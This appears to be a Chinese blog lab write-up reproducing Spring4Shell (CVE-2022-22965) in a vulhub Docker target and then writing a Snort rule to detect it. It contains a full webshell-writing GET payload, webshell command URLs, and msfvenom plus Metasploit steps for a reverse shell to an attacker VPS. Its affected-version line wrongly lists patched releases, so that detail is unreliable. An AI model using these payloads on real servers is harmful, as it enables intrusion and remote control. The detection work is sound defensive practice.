漏洞详情
漏洞简介
2022年3月30日,Spring框架曝出RCE 0day漏洞,国家信息安全漏洞共享平台(CNVD)已收录了Spring框架远程命令执行漏洞(CNVD-2022-23942),考虑到Spring框架的广泛应用,漏洞被评级为危险。
通过该漏洞可写入webshell以及命令执行。在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并写入任意路径下的文件。
漏洞利用条件
- Apache Tomcat作为Servlet容器;
- 使用JDK9及以上版本的Spring MVC框架;
- Spring框架以及衍生的框架spring-beans-*.jar文件或者存在
漏洞影响范围
1、JDK JDK 9+
2、Spring Framework 5.3.18+ 5.2.20+
docker中已经配置好jdk环境了。docker中的环境与宿主机jdk环境无关。只是当时做实验的时候,刚好也装了jdk9,记录了一下安装过程。
ubuntu下jdk9安装:
官网下载jdk,放入解压到路径
/usr/lib/jvm
利用
update-alternatives
进行jdk版本切换数字越大,优先级越高
执行命令:
sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk-9.0.4/bin/java 1000 sudo update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk-9.0.4/bin/javac 1000 sudo update-alternatives --install /usr/bin/jar jar /usr/lib/jvm/jdk-9.0.4/bin/jar 1000 sudo update-alternatives --install /usr/bin/javah javah /usr/lib/jvm/jdk-9.0.4/bin/javah 1000 sudo update-alternatives --install /usr/bin/javap javap /usr/lib/jvm/jdk-9.0.4/bin/javap 1000 sudo update-alternatives --install /usr/bin/jshell jshell /usr/lib/jvm/jdk-9.0.4/bin/jshell 1000 sudo update-alternatives --install /usr/bin/jconsole jconsole /usr/lib/jvm/jdk-9.0.4/bin/jconsole 1000
修改配置
vim /etc/profile
#env #export JAVA_HOME=/usr/lib/jvm/jdk-9.0.4 #export JRE_HOME=/usr/lib/jvm/jdk-9.0.4/jre #export CLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib:$CLASSPATH #export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH #export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64 #export JRE_HOME=/usr/lib/jvm/java-8-openjdk-amd64/jre #export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH #export CLASSPATH=$CLASSPATH:.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib
source /etc/profile
检查一下
update-alternatives --display javac
每一个命令都是auto 模式,这样才会自动选择优先级高的。为了确保,可以不用管现在的状态,直接设置一遍这些命令为auto模式。
sudo update-alternatives --auto java sudo update-alternatives --auto javac sudo update-alternatives --auto javap sudo update-alternatives --auto javah sudo update-alternatives --auto jconsole sudo update-alternatives --auto jshell
版本检查
/usr/bin/java -version java -version
环境配置
主机系统:Apple M1,macOS Ventura version13.0
虚拟机系统(docker靶场系统): ubuntu 20.04.2 x86 (腾讯云服务器)
漏洞复现
靶场项目:https://github.com/vulhub/vulhub
ubuntu安装docker
源:https://lug.ustc.edu.cn/wiki/mirrors/help/docker/
curl -fsSL https://get.docker.com | bash -s docker --registry-mirror=https://docker.mirrors.ustc.edu.cn
docker --version
systemctl start docker
systemctl enable docker # 自启
安装pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3
sudo apt install python3-pip
安装docker-compose
sudo pip3 install docker-compose
docker-compose --version
启动靶场环境
# 下载项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd Spring/CVE-2022-22965
# 自动化编译环境
sudo docker-compose build
# 启动整个环境
sudo docker-compose up -d
可能遇到的问题:卡在了pulling阶段。
因为docker加速器超时导致pull不下来,改成国内镜像
sudo vim /etc/docker/deamon.json
添加以下内容:
{ "registry-mirrors": ["https://docker.mirrors.ustc.edu.cn/","https://hub-mirror.c.163.com","https://registry.docker-cn.com"], "insecure-registries": ["10.0.0.12:5000"] }
重启
systemctl stop docker systemctl start docker.service systemctl status docker.service
漏洞版本验证
进入docker控制台
# 找到环境的id
docker ps
# bash
docker exec -it <ID> /bin/bash
JDK
cd /usr/local/tomcat/bin
./version.sh
利用链
利⽤class对象构造利⽤链,对Tomcat的日志配置进行修改,然后,向⽇志中写⼊shell
# 构建文件的内容
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
# 修改tomcat日志文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.suffix=
# 写入文件所在的网站根目录
class.module.classLoader.resources.context.parent.pipeline.first.directory=
# 写入文件名称
class.module.classLoader.resources.context.parent.pipeline.first.prefix=
# 文件日期格式(实际构造为空值即可)
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
构造payload
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{test}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=/app/tomcat/webapps/ROOT/
class.module.classLoader.resources.context.parent.pipeline.first.prefix=testfile
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
GET发送
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
服务器上验证,确实已经生成了jsp
访问写入的webshell文件
http://your-ip:8080/tomcatwar.jsp?pwd=j&cmd=id
清空
需要在利用完成后将class.module.classLoader.resources.context.parent.pipeline.first.pattern
清空,否则每次请求都会写入新的恶意代码在JSP Webshell中,导致这个文件变得很大。发送如下数据包将其设置为空:
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
总体来说,这个漏洞的利用方法会修改目标服务器配置,导致目标需要重启服务器才能恢复,实际测试中需要格外注意。
反弹shell
用msf生成木马
# msf5的语法
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=your-公网ip LPORT=7777 -f elf > shell.elf
# msf6的语法
msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=your-公网ip LPORT=7777 -f elf > shell.elf
Lhost是监听机器的ip。因为目标机也是公网中的,所以监听机器也需要是公网IP,这样才能访问到。
msf生成的shell.elf是在本地的,需要自己想办法传到服务器上。
端口随便写,但是要打开对应的防火墙规则。
kali:
apt-get install ufw ufw status ufw enable ufw allow 7777
木马上传
正常情况下,应该是在公网的vps下面生成elf,然后wget下载。但我这次在本地生成的,所以直接scp拷到服务器上去。
宿主机向docker传输文件
docker cp 本地文件的路径 container_id:<docker容器内的路径>
docker cp /home/ubuntu/shell.elf 1e652d6144ae:/usr/local/tomcat/webapps/ROOT/
赋予木马权限
chmod 777 /shell.elf
# url编码
chmod%20777%20%2Fshell.elf
your-公网ip:8080/tomcatwar.jsp?pwd=j&cmd=chmod%20777%20%2Fshell.elf
msf开启监听
在公网服务器上
ubuntu上快速安装msf:https://www.cnblogs.com/tomyyyyy/p/12813299.html
msfconsole # 在命令行里面输入命令,进入msf漏洞利用框架;
use exploit/multi/handler # 监听木马反弹过来的shell
set payload linux/x86/meterpreter_reverse_tcp # 设置payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;
set lhost <ip> # vps ip
set lport <vps端口> # vps端口
exploit # 开始进行监听;
执行木马
/tomcatwar.jsp?pwd=j&cmd=./shell.elf
/tomcatwar.jsp?pwd=j&cmd=.%2Fshell.elf
抓包
过滤语句:ip终点选靶机的IP。起点选择攻击机的IP。因为靶场走的8080端口,http协议。所以筛选条件加上http协议。
ip.dst == <靶机IP> && http
追随No.1277和1566的http流
特征流量分析
pipeline.first.pattern
对get头进行解码:
/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
pipeline.first.suffix
parent.pipeline.first.directory
pipeline.first.prefix
pipeline.first.fileDateFormat
漏洞规则
规则思路👇
alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"SpringCore RCE"; flow:to_server,established; content:"pipeline.first.pattern="; http_uri; fast_pattern; classtype:attempted; sid:100000; rev:2;)
snort规则验证
snort的各种配置以及环境,见以前的blog:https://gryffinbit.top/categories/%E5%85%A5%E4%BE%B5%E6%A3%80%E6%B5%8B/snort/
把刚刚抓到的数据包放进snort环境中
把写好的规则文件也放进环境中。
规则配置
把规则文件放进规则路径,并修改snort.conf配置
mv CVE-2022-22965.rules /etc/snort/rules
cd /etc/snort/rules
ls
vim /etc/snort/snort.conf
修改snort.conf的内容
设置需要保护的ip地址
# Setup the network addresses you are protecting
ipvar HOME_NET server_public_ip/24
# Set up the external network addresses. Leave as "any" in most situations
ipvar EXTERNAL_NET !$HOME_NET
# Path to your rules files (this can be a relative path)
var RULE_PATH /etc/snort/rules
var SO_RULE_PATH /etc/snort/so_rules
var PREPROC_RULE_PATH /etc/snort/preproc_rules
# Set the absolute path appropriately
var WHITE_LIST_PATH /etc/snort/rules
var BLACK_LIST_PATH /etc/snort/rules
在setp6里,设置输出
# unified2
# Recommended for most installs
output unified2: filename snort.log, limit 128
翻到最下面,找到规则集列表。打开local.rules的注释,以允许snort装载个性化规则集。
include $RULE_PATH/CVE-2022-22965.rules
保存编辑:wq
测试是否能正常工作
sudo snort -T -c /etc/snort/snort.conf
运行成功
规则验证
tips:
Wireshark抓的包可能校验和不对,校验和不对的流量,snort不会检测。
可以通过scapy进行校验和修改
from scapy.all import * from scapy.layers.inet import in4_chksum, IP, TCP packets = rdpcap('/Users/gryffinbit/Desktop/test3.pcap') pkts = [] for pkt in packets: print("------------") if pkt["TCP"]: print("old chksum: 0x{:x}".format(pkt['TCP'].chksum)) pkt['TCP'].chksum = 0 tcp_raw = raw(pkt[TCP]) nchksum = in4_chksum(socket.IPPROTO_TCP, pkt[IP], tcp_raw) print("new chksum: 0x{:x}".format(nchksum)) pkt['TCP'].chksum = nchksum pkts.append(pkt) wrpcap("out.pcap", pkts)
snort接受pcap的格式,所以还需要将包保存为pcap的格式
snort -c /etc/snort/snort.conf -r Spring【CVE-2022-22965】.pcap -l /var/log/snort/
检验成功
附录:snort 文件部署路径
snort安装包所在路径、相关文档
/home/parallels/snortFile
- doc:snort的一些说明文档所在文件夹
snort规则文件、配置文件
cd /etc/snort
snort日志文件
cd /var/log/snort
snort运行
/usr/local/bin/snort
规则路径
/etc/snort/rules
配置路径
/etc/snort/snort.conf
参考文章
https://www.freebuf.com/vuls/345007.html
https://www.freebuf.com/vuls/326878.html
https://blog.csdn.net/weixin_45632448/article/details/124043082